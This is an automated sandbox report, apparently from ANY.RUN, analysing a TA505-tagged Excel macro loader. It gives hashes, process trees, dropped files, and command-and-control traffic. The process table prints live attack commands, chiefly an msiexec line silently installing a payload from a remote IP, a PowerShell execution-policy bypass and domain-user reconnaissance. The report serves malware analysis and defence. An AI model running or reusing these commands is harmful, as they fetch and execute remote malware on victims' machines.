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File name:

inf_2019032173644.xls

Full analysis: https://app.any.run/tasks/2481cc7c-4025-47c5-9da1-ab102d31a3c0
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: March 21, 2019, 12:12:14
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
exe-to-msi
loader
ta505
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Thu Mar 21 06:42:12 2019, Security: 0
MD5:

78EA9835C2D7F6760315EA043807B8C8

SHA1:

1E5ED2C3F2254C91D1B3E75431142D19CE530B7F

SHA256:

4C6EC69AF9DFB446273A38BE73BE83A613018B1B6A64AB1386CC798637A63832

SSDEEP:

1536:qKpb8rGYrMPelwhKmFV5xtezEsgrdgDXojNN9PeOCEz81Cr+hqTGuWeZfuwqIlNG:qKpb8rGYrMPelwhKmFV5xtezEsgrdgjT

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 1332)
    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 1332)
    • Application was dropped or rewritten from another process

      • nsB158.tmp (PID: 2948)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 4020)
    • Downloads executable files from IP

      • msiexec.exe (PID: 4020)
    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 2124)
    • Starts NET.EXE to view/add/change user profiles

      • cmd.exe (PID: 2588)
    • Executes PowerShell scripts

      • cmd.exe (PID: 1352)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 4020)
      • MSIAFC2.tmp (PID: 1468)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 4020)
    • Starts CMD.EXE for commands execution

      • nsB158.tmp (PID: 2948)
      • rundll32.exe (PID: 2124)
    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 4004)
    • Starts application with an unusual extension

      • MSIAFC2.tmp (PID: 1468)
    • Creates files in the user directory

      • powershell.exe (PID: 908)
  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 1332)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 4020)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 4020)
    • Application was dropped or rewritten from another process

      • MSIAFC2.tmp (PID: 1468)
    • Loads dropped or rewritten executable

      • MSIAFC2.tmp (PID: 1468)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author: Microsoft Office
LastModifiedBy: 1
Software: Microsoft Excel
CreateDate: 2018:12:19 10:42:12
ModifyDate: 2019:03:21 06:42:12
Security: None
CodePage: Windows Cyrillic
Company: Microsoft Corporation
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • 1
  • 2
HeadingPairs:
  • Листы
  • 1
  • Макросы Excel 4.0
  • 1
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
12
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe no specs msiexec.exe no specs msiexec.exe msiafc2.tmp nsb158.tmp no specs cmd.exe no specs rundll32.exe cmd.exe no specs powershell.exe no specs cmd.exe no specs net.exe no specs net1.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1332"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
344msiexec.exe RETURN=185 /i http://169.239.128.104/alg /q ksw='%TEMP%' C:\Windows\system32\msiexec.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
4020C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
1468"C:\Windows\Installer\MSIAFC2.tmp"C:\Windows\Installer\MSIAFC2.tmp
msiexec.exe
User:
admin
Company:
hepsu burda
Integrity Level:
MEDIUM
Description:
hepsu burda Application
Version:
1.0.2.1
2948"C:\Users\admin\AppData\Local\Temp\nsrB147.tmp\nsB158.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Users\admin\AppData\Local\Temp\nsrB147.tmp\nsB158.tmpMSIAFC2.tmp
User:
admin
Integrity Level:
MEDIUM
4004"cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\cmd.exensB158.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2124rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\rundll32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1352cmd.exe /C powershell -nop -ep bypass -f %temp%\enu.ps1C:\Windows\system32\cmd.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
908powershell -nop -ep bypass -f C:\Users\admin\AppData\Local\Temp\enu.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2588cmd.exe /C net user /domainC:\Windows\system32\cmd.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 046
Read events
941
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
4
Text files
10
Unknown types
4

Dropped files

PID
Process
Filename
Type
1332EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR95DE.tmp.cvr
MD5:
SHA256:
4020msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF96DA45C964BCBC07.TMP
MD5:
SHA256:
908powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XFVKB3COVUFFAS0HOETL.temp
MD5:
SHA256:
4020msiexec.exeC:\Windows\Installer\MSIA772.tmpexecutable
MD5:D4C11BDA021113CA4604D80896B2A492
SHA256:AE2B1B1F7265386EDBBF2617084F277CDB9BC5AC34BD9AAC00CBC77A6BDCD829
4020msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:42A23FFF3A0664C1D0204BA66406064C
SHA256:C5EB4887E3DB258DB0129AB77170E79463D0551C674B100E9DCF8B98A41263FD
1468MSIAFC2.tmpC:\Users\admin\AppData\Local\Temp\nsrB147.tmp\nsB158.tmpexecutable
MD5:E2347A65B30CCC5B2C4230DAAEEFB897
SHA256:79FD3041AB85E378839D2E3CF155FC91A2D541304D209F5D1D57AC7D791190EC
4020msiexec.exeC:\Windows\Installer\fae0a.ipibinary
MD5:81E2FCE17DE1A83F30C0D4E702FF4394
SHA256:624D0F5FF224BD25A065919DCE9B24FA1D7335D30A7288FD0E41FAB81ADEAF7A
4020msiexec.exeC:\Windows\Installer\MSIAFC2.tmpexecutable
MD5:DDAE8B7AA9A93CE17610EB063F5838CE
SHA256:E0323064F2561AE02F9EFAE418AEAF433B3FE0E6E3A640A9C46EC404D4563DE1
1468MSIAFC2.tmpC:\Users\admin\AppData\Local\Temp\2.lnklnk
MD5:BFDA100C2049DA534D6FC920BBACD486
SHA256:503CB60D119B783ACFB2E25ACC11CAE78485B13F8DA43D70B3A2D1D1A02BB86F
4020msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\desktop.iniini
MD5:BA96961F5E22882527919E19DAEA510F
SHA256:DACE5AD59099429D8AED4EE279F1263EFB65D64456931398465A396CF0E79BD7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4020
msiexec.exe
GET
200
169.239.128.104:80
http://169.239.128.104/alg
ZA
executable
396 Kb
suspicious
2124
rundll32.exe
POST
200
179.43.156.37:80
http://cdnavupdate.icu/jquery/jquery.php
CH
text
22 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2124
rundll32.exe
179.43.156.37:80
cdnavupdate.icu
Private Layer INC
CH
suspicious
4020
msiexec.exe
169.239.128.104:80
Zappie Host LLC
ZA
suspicious

DNS requests

Domain
IP
Reputation
cdnavupdate.icu
  • 179.43.156.37
malicious

Threats

PID
Process
Class
Message
4020
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
4020
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
2124
rundll32.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.icu domain
1 ETPRO signatures available at the full report
No debug info